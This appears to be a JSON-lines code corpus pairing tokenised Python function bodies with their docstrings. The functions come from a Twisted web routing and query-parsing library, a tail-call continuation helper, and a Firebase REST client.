{"signature": "def __init__(self, handlers, fallback=False):", "body": "Resource.__init__(self)<EOL>self._handlers = list(handlers)<EOL>self._fallback = fallback<EOL>self._acceptHandlers = {}<EOL>for handler in self._handlers:<EOL><INDENT>for acceptType in handler.acceptTypes:<EOL><INDENT>if acceptType in self._acceptHandlers:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % (acceptType,))<EOL><DEDENT>self._acceptHandlers[acceptType] = handler<EOL><DEDENT><DEDENT>", "docstring": ":type  handlers: ``iterable`` of `INegotiableResource` and either\n    `IResource` or `ISpinneretResource`.\n:param handlers: Iterable of negotiable resources, either\n    `ISpinneretResource` or `IResource`, to use as handlers for\n    negotiation.\n\n:type  fallback: `bool`\n:param fallback: Fall back to the first handler in the case where\n    negotiation fails?", "id": "f9828:c4:m0"}
{"signature": "def _negotiateHandler(self, request):", "body": "accept = _parseAccept(request.requestHeaders.getRawHeaders('<STR_LIT>'))<EOL>for contentType in accept.keys():<EOL><INDENT>handler = self._acceptHandlers.get(contentType.lower())<EOL>if handler is not None:<EOL><INDENT>return handler, handler.contentType<EOL><DEDENT><DEDENT>if self._fallback:<EOL><INDENT>handler = self._handlers[<NUM_LIT:0>]<EOL>return handler, handler.contentType<EOL><DEDENT>return NotAcceptable(), None<EOL>", "docstring": "Negotiate a handler based on the content types acceptable to the\nclient.\n\n:rtype: 2-`tuple` of `twisted.web.iweb.IResource` and `bytes`\n:return: Pair of a resource and the content type.", "id": "f9828:c4:m1"}
{"signature": "def locateChild(request, segments):", "body": "", "docstring": "Locate another object which can be adapted to `IResource`.\n\n:type  request: `IRequest <twisted:twisted.web.iweb.IRequest>`\n:param request: Request.\n\n:type  segments: ``sequence`` of `bytes`\n:param segments: Sequence of strings giving the remaining query\n    segments to resolve.\n\n:rtype: 2-`tuple` of `IResource`, `IRenderable` or `URLPath` and\n    a ``sequence`` of `bytes`\n:return: Pair of an `IResource`, `IRenderable` or `URLPath` and\n    a sequence of the remaining path segments to be process, or\n    a `Deferred` containing the aforementioned result.", "id": "f9829:c0:m0"}
{"signature": "def MatchesException(exc_type, matcher):", "body": "return Raises(<EOL>AfterPreprocessing(<EOL>lambda x: x[<NUM_LIT:1>],<EOL>MatchesAll(IsInstance(exc_type), matcher)))<EOL>", "docstring": "Match an exception type and a user-provided matcher against the exception\ninstance.", "id": "f9831:m0"}
{"signature": "def renderRoute(resource, segments):", "body": "request = InMemoryRequest(segments)<EOL>child = getChildForRequest(resource, request)<EOL>request.render(child)<EOL>return request<EOL>", "docstring": "Locate and render a child resource.\n\n@type  resource: `IResource`\n@param resource: Resource to locate the child resource on.\n\n@type  segments: `list` of `bytes`\n@param segments: Path segments.\n\n@return: Request.", "id": "f9834:m0"}
{"signature": "def _isSequenceTypeNotText(x):", "body": "return isSequenceType(x) and not isinstance(x, (bytes, unicode))<EOL>", "docstring": "Is this a ``sequence`` type that isn't also a ``string`` type?", "id": "f9836:m0"}
{"signature": "def one(func, n=<NUM_LIT:0>):", "body": "def _one(result):<EOL><INDENT>if _isSequenceTypeNotText(result) and len(result) > n:<EOL><INDENT>return func(result[n])<EOL><DEDENT>return None<EOL><DEDENT>return maybe(_one)<EOL>", "docstring": "Create a callable that applies ``func`` to a value in a sequence.\n\nIf the value is not a sequence or is an empty sequence then ``None`` is\nreturned.\n\n:type  func: `callable`\n:param func: Callable to be applied to each result.\n\n:type  n: `int`\n:param n: Index of the value to apply ``func`` to.", "id": "f9836:m1"}
{"signature": "def many(func):", "body": "def _many(result):<EOL><INDENT>if _isSequenceTypeNotText(result):<EOL><INDENT>return map(func, result)<EOL><DEDENT>return []<EOL><DEDENT>return maybe(_many, default=[])<EOL>", "docstring": "Create a callable that applies ``func`` to every value in a sequence.\n\nIf the value is not a sequence then an empty list is returned.\n\n:type  func: `callable`\n:param func: Callable to be applied to the first result.", "id": "f9836:m2"}
{"signature": "def Text(value, encoding=None):", "body": "if encoding is None:<EOL><INDENT>encoding = '<STR_LIT:utf-8>'<EOL><DEDENT>if isinstance(value, bytes):<EOL><INDENT>return value.decode(encoding)<EOL><DEDENT>elif isinstance(value, unicode):<EOL><INDENT>return value<EOL><DEDENT>return None<EOL>", "docstring": "Parse a value as text.\n\n:type  value: `unicode` or `bytes`\n:param value: Text value to parse\n\n:type  encoding: `bytes`\n:param encoding: Encoding to treat ``bytes`` values as, defaults to\n    ``utf-8``.\n\n:rtype: `unicode`\n:return: Parsed text or ``None`` if ``value`` is neither `bytes` nor\n    `unicode`.", "id": "f9836:m3"}
{"signature": "def Integer(value, base=<NUM_LIT:10>, encoding=None):", "body": "try:<EOL><INDENT>return int(Text(value, encoding), base)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Parse a value as an integer.\n\n:type  value: `unicode` or `bytes`\n:param value: Text value to parse\n\n:type  base: `unicode` or `bytes`\n:param base: Base to assume ``value`` is specified in.\n\n:type  encoding: `bytes`\n:param encoding: Encoding to treat ``bytes`` values as, defaults to\n    ``utf-8``.\n\n:rtype: `int`\n:return: Parsed integer or ``None`` if ``value`` could not be parsed as an\n    integer.", "id": "f9836:m4"}
{"signature": "def Float(value, encoding=None):", "body": "try:<EOL><INDENT>return float(Text(value, encoding))<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Parse a value as a floating point number.\n\n:type  value: `unicode` or `bytes`\n:param value: Text value to parse.\n\n:type  encoding: `bytes`\n:param encoding: Encoding to treat `bytes` values as, defaults to\n    ``utf-8``.\n\n:rtype: `float`\n:return: Parsed float or ``None`` if ``value`` could not be parsed as a\n    float.", "id": "f9836:m5"}
{"signature": "def Boolean(value, true=(u'<STR_LIT:yes>', u'<STR_LIT:1>', u'<STR_LIT:true>'), false=(u'<STR_LIT>', u'<STR_LIT:0>', u'<STR_LIT:false>'),<EOL>encoding=None):", "body": "value = Text(value, encoding)<EOL>if value is not None:<EOL><INDENT>value = value.lower().strip()<EOL><DEDENT>if value in true:<EOL><INDENT>return True<EOL><DEDENT>elif value in false:<EOL><INDENT>return False<EOL><DEDENT>return None<EOL>", "docstring": "Parse a value as a boolean.\n\n:type  value: `unicode` or `bytes`\n:param value: Text value to parse.\n\n:type  true: `tuple` of `unicode`\n:param true: Values to compare, ignoring case, for ``True`` values.\n\n:type  false: `tuple` of `unicode`\n:param false: Values to compare, ignoring case, for ``False`` values.\n\n:type  encoding: `bytes`\n:param encoding: Encoding to treat `bytes` values as, defaults to\n    ``utf-8``.\n\n:rtype: `bool`\n:return: Parsed boolean or ``None`` if ``value`` did not match ``true`` or\n    ``false`` values.", "id": "f9836:m6"}
{"signature": "def Delimited(value, parser=Text, delimiter=u'<STR_LIT:U+002C>', encoding=None):", "body": "value = Text(value, encoding)<EOL>if value is None or value == u'<STR_LIT>':<EOL><INDENT>return []<EOL><DEDENT>return map(parser, value.split(delimiter))<EOL>", "docstring": "Parse a value as a delimited list.\n\n:type  value: `unicode` or `bytes`\n:param value: Text value to parse.\n\n:type  parser: `callable` taking a `unicode` parameter\n:param parser: Callable to map over the delimited text values.\n\n:type  delimiter: `unicode`\n:param delimiter: Delimiter text.\n\n:type  encoding: `bytes`\n:param encoding: Encoding to treat `bytes` values as, defaults to\n    ``utf-8``.\n\n:rtype: `list`\n:return: List of parsed values.", "id": "f9836:m7"}
{"signature": "def Timestamp(value, _divisor=<NUM_LIT:1.>, tz=UTC, encoding=None):", "body": "value = Float(value, encoding)<EOL>if value is not None:<EOL><INDENT>value = value / _divisor<EOL>return datetime.fromtimestamp(value, tz)<EOL><DEDENT>return None<EOL>", "docstring": "Parse a value as a POSIX timestamp in seconds.\n\n:type  value: `unicode` or `bytes`\n:param value: Text value to parse, which should be the number of seconds\n    since the epoch.\n\n:type  _divisor: `float`\n:param _divisor: Number to divide the value by.\n\n:type  tz: `tzinfo`\n:param tz: Timezone, defaults to UTC.\n\n:type  encoding: `bytes`\n:param encoding: Encoding to treat `bytes` values as, defaults to\n    ``utf-8``.\n\n:rtype: `datetime.datetime`\n:return: Parsed datetime or ``None`` if ``value`` could not be parsed.", "id": "f9836:m8"}
{"signature": "def TimestampMs(value, encoding=None):", "body": "return Timestamp(value, _divisor=<NUM_LIT>, encoding=encoding)<EOL>", "docstring": "Parse a value as a POSIX timestamp in milliseconds.\n\n:type  value: `unicode` or `bytes`\n:param value: Text value to parse, which should be the number of\n    milliseconds since the epoch.\n\n:type  encoding: `bytes`\n:param encoding: Encoding to treat `bytes` values as, defaults to\n    ``utf-8``.\n\n:rtype: `datetime.datetime`\n:return: Parsed datetime or ``None`` if ``value`` could not be parsed.", "id": "f9836:m9"}
{"signature": "def parse(expected, query):", "body": "return dict(<EOL>(key, parser(query.get(key, [])))<EOL>for key, parser in expected.items())<EOL>", "docstring": "Parse query parameters.\n\n:type  expected: `dict` mapping `bytes` to `callable`\n:param expected: Mapping of query argument names to argument parsing\n    callables.\n\n:type  query: `dict` mapping `bytes` to `list` of `bytes`\n:param query: Mapping of query argument names to lists of argument values,\n    this is the form that Twisted Web's `IRequest.args\n    <twisted:twisted.web.iweb.IRequest.args>` value takes.\n\n:rtype: `dict` mapping `bytes` to `object`\n:return: Mapping of query argument names to parsed argument values.", "id": "f9836:m10"}
{"signature": "def Text(name, encoding=None):", "body": "def _match(request, value):<EOL><INDENT>return name, query.Text(<EOL>value,<EOL>encoding=contentEncoding(request.requestHeaders, encoding))<EOL><DEDENT>return _match<EOL>", "docstring": "Match a route parameter.\n\n`Any` is a synonym for `Text`.\n\n:type  name: `bytes`\n:param name: Route parameter name.\n\n:type  encoding: `bytes`\n:param encoding: Default encoding to assume if the ``Content-Type``\n    header is lacking one.\n\n:return: ``callable`` suitable for use with `route` or `subroute`.", "id": "f9838:m0"}
{"signature": "def Integer(name, base=<NUM_LIT:10>, encoding=None):", "body": "def _match(request, value):<EOL><INDENT>return name, query.Integer(<EOL>value,<EOL>base=base,<EOL>encoding=contentEncoding(request.requestHeaders, encoding))<EOL><DEDENT>return _match<EOL>", "docstring": "Match an integer route parameter.\n\n:type  name: `bytes`\n:param name: Route parameter name.\n\n:type  base: `int`\n:param base: Base to interpret the value in.\n\n:type  encoding: `bytes`\n:param encoding: Default encoding to assume if the ``Content-Type``\n    header is lacking one.\n\n:return: ``callable`` suitable for use with `route` or `subroute`.", "id": "f9838:m1"}
{"signature": "def _matchRoute(components, request, segments, partialMatching):", "body": "if len(components) == <NUM_LIT:1> and isinstance(components[<NUM_LIT:0>], bytes):<EOL><INDENT>components = components[<NUM_LIT:0>]<EOL>if components[:<NUM_LIT:1>] == '<STR_LIT:/>':<EOL><INDENT>components = components[<NUM_LIT:1>:]<EOL><DEDENT>components = components.split('<STR_LIT:/>')<EOL><DEDENT>results = OrderedDict()<EOL>NO_MATCH = None, segments<EOL>remaining = list(segments)<EOL>if len(segments) == len(components) == <NUM_LIT:0>:<EOL><INDENT>return results, remaining<EOL><DEDENT>for us, them in izip_longest(components, segments):<EOL><INDENT>if us is None:<EOL><INDENT>if partialMatching:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>return NO_MATCH<EOL><DEDENT><DEDENT>elif them is None:<EOL><INDENT>return NO_MATCH<EOL><DEDENT>if callable(us):<EOL><INDENT>name, match = us(request, them)<EOL>if match is None:<EOL><INDENT>return NO_MATCH<EOL><DEDENT>results[name] = match<EOL><DEDENT>elif us != them:<EOL><INDENT>return NO_MATCH<EOL><DEDENT>remaining.pop(<NUM_LIT:0>)<EOL><DEDENT>return results, remaining<EOL>", "docstring": "Match a request path against our path components.\n\nThe path components are always matched relative to their parent is in the\nresource hierarchy, in other words it is only possible to match URIs nested\nmore deeply than the parent resource.\n\n:type  components: ``iterable`` of `bytes` or `callable`\n:param components: Iterable of path components, to match against the\n    request, either static strings or dynamic parameters. As a convenience,\n    a single `bytes` component containing ``/`` may be given instead of\n    manually separating the components. If no components are given the null\n    route is matched, this is the case where ``segments`` is empty.\n\n:type  segments: ``sequence`` of `bytes`\n:param segments: Sequence of path segments, from the request, to match\n    against.\n\n:type  partialMatching: `bool`\n:param partialMatching: Allow partial matching against the request path?\n\n:rtype: 2-`tuple` of `dict` keyed on `bytes` and `list` of `bytes`\n:return: Pair of parameter results, mapping parameter names to processed\n    values, and a list of the remaining request path segments. If there is\n    no route match the result will be ``None`` and the original request path\n    segments.", "id": "f9838:m2"}
{"signature": "def route(*components):", "body": "return partial(_matchRoute, components, partialMatching=False)<EOL>", "docstring": "Match a request path exactly.\n\nThe path components are always matched relative to their parent is in the\nresource hierarchy, in other words it is only possible to match URIs nested\nmore deeply than the parent resource.\n\n:type  components: ``iterable`` of `bytes` or `callable`\n:param components: Iterable of path components, to match against the\n    request, either static strings or dynamic parameters. As a convenience,\n    a single `bytes` component containing ``/`` may be given instead of\n    manually separating the components. If no components are given the null\n    route is matched, this is the case where ``segments`` is empty.\n\n:rtype: 2-`tuple` of `dict` keyed on `bytes` and `list` of `bytes`\n:return: Pair of parameter results, mapping parameter names to processed\n    values, and a list of the remaining request path segments. If there is\n    no route match the result will be ``None`` and the original request\n    path segments.", "id": "f9838:m3"}
{"signature": "def subroute(*components):", "body": "return partial(_matchRoute, components, partialMatching=True)<EOL>", "docstring": "Partially match a request path exactly.\n\nThe path components are always matched relative to their parent is in the\nresource hierarchy, in other words it is only possible to match URIs nested\nmore deeply than the parent resource.\n\nIf there are more request path segments than components the match may still\nbe successful, the remaining path segments are returned in the second part\nof the result.\n\n:type  components: ``iterable`` of `bytes` or `callable`\n:param components: Iterable of path components, to match against the\n    request, either static strings or dynamic parameters. As a convenience,\n    a single `bytes` component containing ``/`` may be given instead of\n    manually separating the components. If no components are given the null\n    route is matched, this is the case where ``segments`` is empty.\n\n:rtype: 2-`tuple` of `dict` keyed on `bytes` and `list` of `bytes`\n:return: Pair of parameter results, mapping parameter names to processed\n    values, and a list of the remaining request path segments. If there is\n    no route match the result will be ``None`` and the original request\n    path segments.", "id": "f9838:m4"}
{"signature": "def routedResource(f, routerAttribute='<STR_LIT>'):", "body": "return wraps(f)(<EOL>lambda *a, **kw: getattr(f(*a, **kw), routerAttribute).resource())<EOL>", "docstring": "Decorate a router-producing callable to instead produce a resource.\n\nThis simply produces a new callable that invokes the original callable, and\ncalls ``resource`` on the ``routerAttribute``.\n\nIf the router producer has multiple routers the attribute can be altered to\nchoose the appropriate one, for example:\n\n.. code-block:: python\n\n    class _ComplexRouter(object):\n        router = Router()\n        privateRouter = Router()\n\n        @router.route('/')\n        def publicRoot(self, request, params):\n            return SomethingPublic(...)\n\n        @privateRouter.route('/')\n        def privateRoot(self, request, params):\n            return SomethingPrivate(...)\n\n    PublicResource = routedResource(_ComplexRouter)\n    PrivateResource = routedResource(_ComplexRouter, 'privateRouter')\n\n:type  f: ``callable``\n:param f: Callable producing an object with a `Router` attribute, for\n    example, a type.\n\n:type  routerAttribute: `str`\n:param routerAttribute: Name of the `Router` attribute on the result of\n    calling ``f``.\n\n:rtype: `callable`\n:return: Callable producing an `IResource`.", "id": "f9838:m5"}
{"signature": "def __init__(self, obj, routes):", "body": "self._obj = obj<EOL>self._routes = routes<EOL>", "docstring": ":param obj: Parent object containing the route handler.\n\n:type  routes: `list` of 3-`tuple` containing `bytes`, `callable`,\n    `callable`\n:param routes: List of 3-tuple containing the route handler name, the\n    route handler function and the matcher function.", "id": "f9838:c0:m0"}
{"signature": "def _matchRoute(self, request, segments):", "body": "for name, meth, route in self._routes:<EOL><INDENT>matches, remaining = route(request, segments)<EOL>if matches is not None:<EOL><INDENT>return meth(self._obj, request, matches), remaining<EOL><DEDENT><DEDENT>return None, segments<EOL>", "docstring": "Find a route handler that matches the request path and invoke it.", "id": "f9838:c0:m1"}
{"signature": "def _forObject(self, obj):", "body": "router = type(self)()<EOL>router._routes = list(self._routes)<EOL>router._self = obj<EOL>return router<EOL>", "docstring": "Create a new `Router` instance, with it's own set of routes, for\n``obj``.", "id": "f9838:c1:m1"}
{"signature": "def _addRoute(self, f, matcher):", "body": "self._routes.append((f.func_name, f, matcher))<EOL>", "docstring": "Add a route handler and matcher to the collection of possible routes.", "id": "f9838:c1:m3"}
{"signature": "def resource(self):", "body": "return SpinneretResource(_RouterResource(self._self, self._routes))<EOL>", "docstring": "Create an `IResource <twisted:twisted.web.resource.IResource>` that\nwill perform URL routing.", "id": "f9838:c1:m4"}
{"signature": "def route(self, *components):", "body": "def _factory(f):<EOL><INDENT>self._addRoute(f, route(*components))<EOL>return f<EOL><DEDENT>return _factory<EOL>", "docstring": "See `txspinneret.route.route`.\n\nThis decorator can be stacked with itself to specify multiple routes\nwith a single handler.", "id": "f9838:c1:m5"}
{"signature": "def subroute(self, *components):", "body": "def _factory(f):<EOL><INDENT>self._addRoute(f, subroute(*components))<EOL>return f<EOL><DEDENT>return _factory<EOL>", "docstring": "See `txspinneret.route.subroute`.\n\nThis decorator can be stacked with itself to specify multiple routes\nwith a single handler.", "id": "f9838:c1:m6"}
{"signature": "def get_version():", "body": "version_module_path = os.path.join(<EOL>os.path.dirname(__file__), \"<STR_LIT>\", \"<STR_LIT>\")<EOL>with open(version_module_path) as version_module:<EOL><INDENT>exec(version_module.read())<EOL><DEDENT>return locals()[\"<STR_LIT>\"]<EOL>", "docstring": "Get the version from version module without importing more than\nnecessary.", "id": "f9839:m0"}
{"signature": "def read(path):", "body": "with open(path) as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Read the contents of a file.", "id": "f9839:m1"}
{"signature": "def _tailCallback(f, uid):", "body": "def t(*args):<EOL><INDENT>raise _TailCall(f, args, uid)<EOL><DEDENT>t.C = f<EOL>return t<EOL>", "docstring": "This is the \"callable\" version of the continuation, which sould only\nbe accessible from the inside of the function to be continued. An\nattribute called \"C\" can be used in order to get back the public\nversion of the continuation (for passing the continuation to another\nfunction).", "id": "f9844:m0"}
{"signature": "def with_continuations(**c):", "body": "if len(c): keys, k = zip(*c.items())<EOL>else: keys, k = tuple([]), tuple([])<EOL>def d(f):<EOL><INDENT>return C(<EOL>lambda kself, *conts:<EOL>lambda *args:<EOL>f(*args, self=kself, **dict(zip(keys, conts)))) (*k)<EOL><DEDENT>return d<EOL>", "docstring": "A decorator for defining tail-call optimized functions.\n\nExample\n-------\n\n    @with_continuations()\n    def factorial(n, k, self=None):\n        return self(n-1, k*n) if n > 1 else k\n\n    @with_continuations()\n    def identity(x, self=None):\n        return x\n\n    @with_continuations(out=identity)\n    def factorial2(n, k, self=None, out=None):\n        return self(n-1, k*n) if n > 1 else out(k)\n\n    print(factorial(7,1))\n    print(factorial2(7,1))", "id": "f9844:m1"}
{"signature": "@http_connection(<NUM_LIT>)<EOL>def make_get_request(url, params, headers, connection):", "body": "timeout = getattr(connection, '<STR_LIT>')<EOL>response = connection.get(url, params=params, headers=headers, timeout=timeout)<EOL>if response.ok or response.status_code == <NUM_LIT>:<EOL><INDENT>return response.json() if response.content else None<EOL><DEDENT>else:<EOL><INDENT>response.raise_for_status()<EOL><DEDENT>", "docstring": "Helper function that makes an HTTP GET request to the given firebase\nendpoint. Timeout is 60 seconds.\n`url`: The full URL of the firebase endpoint (DSN appended.)\n`params`: Python dict that is appended to the URL like a querystring.\n`headers`: Python dict. HTTP request headers.\n`connection`: Predefined HTTP connection instance. If not given, it\nis supplied by the `decorators.http_connection` function.\n\nThe returning value is a Python dict deserialized by the JSON decoder. However,\nif the status code is not 2x or 403, an requests.HTTPError is raised.\n\nconnection = connection_pool.get_available_connection()\nresponse = make_get_request('http://firebase.localhost/users', {'print': silent'},\n                            {'X_FIREBASE_SOMETHING': 'Hi'}, connection)\nresponse => {'1': 'John Doe', '2': 'Jane Doe'}", "id": "f9848:m0"}
{"signature": "@http_connection(<NUM_LIT>)<EOL>def make_put_request(url, data, params, headers, connection):", "body": "timeout = getattr(connection, '<STR_LIT>')<EOL>response = connection.put(url, data=data, params=params, headers=headers,<EOL>timeout=timeout)<EOL>if response.ok or response.status_code == <NUM_LIT>:<EOL><INDENT>return response.json() if response.content else None<EOL><DEDENT>else:<EOL><INDENT>response.raise_for_status()<EOL><DEDENT>", "docstring": "Helper function that makes an HTTP PUT request to the given firebase\nendpoint. Timeout is 60 seconds.\n`url`: The full URL of the firebase endpoint (DSN appended.)\n`data`: JSON serializable dict that will be stored in the remote storage.\n`params`: Python dict that is appended to the URL like a querystring.\n`headers`: Python dict. HTTP request headers.\n`connection`: Predefined HTTP connection instance. If not given, it\nis supplied by the `decorators.http_connection` function.\n\nThe returning value is a Python dict deserialized by the JSON decoder. However,\nif the status code is not 2x or 403, an requests.HTTPError is raised.\n\nconnection = connection_pool.get_available_connection()\nresponse = make_put_request('http://firebase.localhost/users',\n                            '{\"1\": \"Ozgur Vatansever\"}',\n                            {'X_FIREBASE_SOMETHING': 'Hi'}, connection)\nresponse => {'1': 'Ozgur Vatansever'} or {'error': 'Permission denied.'}", "id": "f9848:m1"}
{"signature": "@http_connection(<NUM_LIT>)<EOL>def make_post_request(url, data, params, headers, connection):", "body": "timeout = getattr(connection, '<STR_LIT>')<EOL>response = connection.post(url, data=data, params=params, headers=headers,<EOL>timeout=timeout)<EOL>if response.ok or response.status_code == <NUM_LIT>:<EOL><INDENT>return response.json() if response.content else None<EOL><DEDENT>else:<EOL><INDENT>response.raise_for_status()<EOL><DEDENT>", "docstring": "Helper function that makes an HTTP POST request to the given firebase\nendpoint. Timeout is 60 seconds.\n`url`: The full URL of the firebase endpoint (DSN appended.)\n`data`: JSON serializable dict that will be stored in the remote storage.\n`params`: Python dict that is appended to the URL like a querystring.\n`headers`: Python dict. HTTP request headers.\n`connection`: Predefined HTTP connection instance. If not given, it\nis supplied by the `decorators.http_connection` function.\n\nThe returning value is a Python dict deserialized by the JSON decoder. However,\nif the status code is not 2x or 403, an requests.HTTPError is raised.\n\nconnection = connection_pool.get_available_connection()\nresponse = make_put_request('http://firebase.localhost/users/',\n   '{\"Ozgur Vatansever\"}', {'X_FIREBASE_SOMETHING': 'Hi'}, connection)\nresponse => {u'name': u'-Inw6zol_2f5ThHwVcSe'} or {'error': 'Permission denied.'}", "id": "f9848:m2"}
{"signature": "@http_connection(<NUM_LIT>)<EOL>def make_patch_request(url, data, params, headers, connection):", "body": "timeout = getattr(connection, '<STR_LIT>')<EOL>response = connection.patch(url, data=data, params=params, headers=headers,<EOL>timeout=timeout)<EOL>if response.ok or response.status_code == <NUM_LIT>:<EOL><INDENT>return response.json() if response.content else None<EOL><DEDENT>else:<EOL><INDENT>response.raise_for_status()<EOL><DEDENT>", "docstring": "Helper function that makes an HTTP PATCH request to the given firebase\nendpoint. Timeout is 60 seconds.\n`url`: The full URL of the firebase endpoint (DSN appended.)\n`data`: JSON serializable dict that will be stored in the remote storage.\n`params`: Python dict that is appended to the URL like a querystring.\n`headers`: Python dict. HTTP request headers.\n`connection`: Predefined HTTP connection instance. If not given, it\nis supplied by the `decorators.http_connection` function.\n\nThe returning value is a Python dict deserialized by the JSON decoder. However,\nif the status code is not 2x or 403, an requests.HTTPError is raised.\n\nconnection = connection_pool.get_available_connection()\nresponse = make_put_request('http://firebase.localhost/users/1',\n   '{\"Ozgur Vatansever\"}', {'X_FIREBASE_SOMETHING': 'Hi'}, connection)\nresponse => {'Ozgur Vatansever'} or {'error': 'Permission denied.'}", "id": "f9848:m3"}
{"signature": "@http_connection(<NUM_LIT>)<EOL>def make_delete_request(url, params, headers, connection):", "body": "timeout = getattr(connection, '<STR_LIT>')<EOL>response = connection.delete(url, params=params, headers=headers, timeout=timeout)<EOL>if response.ok or response.status_code == <NUM_LIT>:<EOL><INDENT>return response.json() if response.content else None<EOL><DEDENT>else:<EOL><INDENT>response.raise_for_status()<EOL><DEDENT>", "docstring": "Helper function that makes an HTTP DELETE request to the given firebase\nendpoint. Timeout is 60 seconds.\n`url`: The full URL of the firebase endpoint (DSN appended.)\n`params`: Python dict that is appended to the URL like a querystring.\n`headers`: Python dict. HTTP request headers.\n`connection`: Predefined HTTP connection instance. If not given, it\nis supplied by the `decorators.http_connection` function.\n\nThe returning value is NULL. However, if the status code is not 2x or 403,\nan requests.HTTPError is raised.\n\nconnection = connection_pool.get_available_connection()\nresponse = make_put_request('http://firebase.localhost/users/1',\n                            {'X_FIREBASE_SOMETHING': 'Hi'}, connection)\nresponse => NULL or {'error': 'Permission denied.'}", "id": "f9848:m4"}
{"signature": "def get_user(self):", "body": "token = self.authenticator.create_token(self.extra)<EOL>user_id = self.extra.get('<STR_LIT:id>')<EOL>return FirebaseUser(self.email, token, self.provider, user_id)<EOL>", "docstring": "Method that gets the authenticated user. The returning user has\nthe token, email and the provider data.", "id": "f9848:c1:m1"}
{"signature": "def _build_endpoint_url(self, url, name=None):", "body": "if not url.endswith(self.URL_SEPERATOR):<EOL><INDENT>url = url + self.URL_SEPERATOR<EOL><DEDENT>if name is None:<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>' % (urlparse.urljoin(self.dsn, url), name,<EOL>self.NAME_EXTENSION)<EOL>", "docstring": "Method that constructs a full url with the given url and the\nsnapshot name.\n\nExample:\nfull_url = _build_endpoint_url('/users', '1')\nfull_url => 'http://firebase.localhost/users/1.json'", "id": "f9848:c2:m1"}
{"signature": "def _authenticate(self, params, headers):", "body": "if self.authentication:<EOL><INDENT>user = self.authentication.get_user()<EOL>params.update({'<STR_LIT>': user.firebase_auth_token})<EOL>headers.update(self.authentication.authenticator.HEADERS)<EOL><DEDENT>", "docstring": "Method that simply adjusts authentication credentials for the\nrequest.\n`params` is the querystring of the request.\n`headers` is the header of the request.\n\nIf auth instance is not provided to this class, this method simply\nreturns without doing anything.", "id": "f9848:c2:m2"}
{"signature": "@http_connection(<NUM_LIT>)<EOL><INDENT>def get(self, url, name, params=None, headers=None, connection=None):<DEDENT>", "body": "if name is None: name = '<STR_LIT>'<EOL>params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, name)<EOL>self._authenticate(params, headers)<EOL>return make_get_request(endpoint, params, headers, connection=connection)<EOL>", "docstring": "Synchronous GET request.", "id": "f9848:c2:m3"}
{"signature": "def get_async(self, url, name, callback=None, params=None, headers=None):", "body": "if name is None: name = '<STR_LIT>'<EOL>params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, name)<EOL>self._authenticate(params, headers)<EOL>process_pool.apply_async(make_get_request,<EOL>args=(endpoint, params, headers), callback=callback)<EOL>", "docstring": "Asynchronous GET request with the process pool.", "id": "f9848:c2:m4"}
{"signature": "@http_connection(<NUM_LIT>)<EOL><INDENT>def put(self, url, name, data, params=None, headers=None, connection=None):<DEDENT>", "body": "assert name, '<STR_LIT>'<EOL>params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, name)<EOL>self._authenticate(params, headers)<EOL>data = json.dumps(data, cls=JSONEncoder)<EOL>return make_put_request(endpoint, data, params, headers,<EOL>connection=connection)<EOL>", "docstring": "Synchronous PUT request. There will be no returning output from\nthe server, because the request will be made with ``silent``\nparameter. ``data`` must be a JSONable value.", "id": "f9848:c2:m5"}
{"signature": "def put_async(self, url, name, data, callback=None, params=None, headers=None):", "body": "if name is None: name = '<STR_LIT>'<EOL>params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, name)<EOL>self._authenticate(params, headers)<EOL>data = json.dumps(data, cls=JSONEncoder)<EOL>process_pool.apply_async(make_put_request,<EOL>args=(endpoint, data, params, headers),<EOL>callback=callback)<EOL>", "docstring": "Asynchronous PUT request with the process pool.", "id": "f9848:c2:m6"}
{"signature": "@http_connection(<NUM_LIT>)<EOL><INDENT>def post(self, url, data, params=None, headers=None, connection=None):<DEDENT>", "body": "params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, None)<EOL>self._authenticate(params, headers)<EOL>data = json.dumps(data, cls=JSONEncoder)<EOL>return make_post_request(endpoint, data, params, headers,<EOL>connection=connection)<EOL>", "docstring": "Synchronous POST request. ``data`` must be a JSONable value.", "id": "f9848:c2:m7"}
{"signature": "def post_async(self, url, data, callback=None, params=None, headers=None):", "body": "params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, None)<EOL>self._authenticate(params, headers)<EOL>data = json.dumps(data, cls=JSONEncoder)<EOL>process_pool.apply_async(make_post_request,<EOL>args=(endpoint, data, params, headers),<EOL>callback=callback)<EOL>", "docstring": "Asynchronous POST request with the process pool.", "id": "f9848:c2:m8"}
{"signature": "@http_connection(<NUM_LIT>)<EOL><INDENT>def patch(self, url, data, params=None, headers=None, connection=None):<DEDENT>", "body": "params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, None)<EOL>self._authenticate(params, headers)<EOL>data = json.dumps(data, cls=JSONEncoder)<EOL>return make_patch_request(endpoint, data, params, headers,<EOL>connection=connection)<EOL>", "docstring": "Synchronous POST request. ``data`` must be a JSONable value.", "id": "f9848:c2:m9"}
{"signature": "def patch_async(self, url, data, callback=None, params=None, headers=None):", "body": "params = params or {}<EOL>headers = headers or {}<EOL>endpoint = self._build_endpoint_url(url, None)<EOL>self._authenticate(params, headers)<EOL>data = json.dumps(data, cls=JSONEncoder)<EOL>process_pool.apply_async(make_patch_request,<EOL>args=(endpoint, data, params, headers),<EOL>callback=callback)<EOL>", "docstring": "Asynchronous PATCH request with the process pool.", "id": "f9848:c2:m10"}
